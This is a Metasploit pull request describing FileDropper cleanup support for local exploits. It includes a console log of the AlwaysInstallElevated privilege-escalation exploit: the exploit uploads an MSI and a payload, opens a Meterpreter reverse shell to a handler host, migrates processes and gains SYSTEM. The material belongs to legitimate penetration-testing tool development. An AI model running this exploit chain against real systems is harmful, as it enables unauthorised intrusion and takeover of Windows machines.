rapid7/metasploit-framework — pull request #1106 by jvazquez-r7 (2012-11-28 21:23:53+00:00)
Title: File dropper support local

Adds support to FileDropper for local exploits cleanup. In order to do this the cleanup function on FileDropper check if there is a file_rm function available (and files to drop awright). In this way, local exploits (when using Post::File) can benefit from automatically cleanup.

Other modules, if they have access to a file_rm function (in a mixin or in the same module), also can benefit from automatic cleanup.

For testing purposes, the recently local exploit modules/exploits/windows/local/always_install_elevated.rb has been modified to use it:

msf exploit(handler) > use exploit/windows/local/always_install_elevated
msf exploit(always_install_elevated) > set SESSION 1
SESSION => 1
msf exploit(always_install_elevated) > exploit

[*] Started reverse handler on 192.168.1.129:4444
[+] HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated is 1.
[+] HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated is 1.
[*] Uploading the MSI to C:\DOCUME~1\juan\LOCALS~1\Temp\exec_payload.msi ...
[*] Uploading the Payload to C:\DOCUME~1\juan\LOCALS~1\Temp\payload.exe ...
[*] Executing MSI...
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 2 opened (192.168.1.129:4444 -> 192.168.1.147:1049) at 2012-11-28 22:14:32 +0100
[+] Deleted C:\DOCUME~1\juan\LOCALS~1\Temp\exec_payload.msi
[!] This exploit may require manual cleanup of: C:\DOCUME~1\juan\LOCALS~1\Temp\payload.exe

meterpreter >
[*] Session ID 2 (192.168.1.129:4444 -> 192.168.1.147:1049) processing InitialAutoRunScript 'migrate -k -f'
[*] Current server process: payload.exe (2620)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1636
[+] Successfully migrated to process
[*] Killing original process with PID 2620
[+] Successfully killed process with PID 2620

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.147 - Meterpreter session 2 closed. Reason: User exit
msf exploit(always_install_elevated) >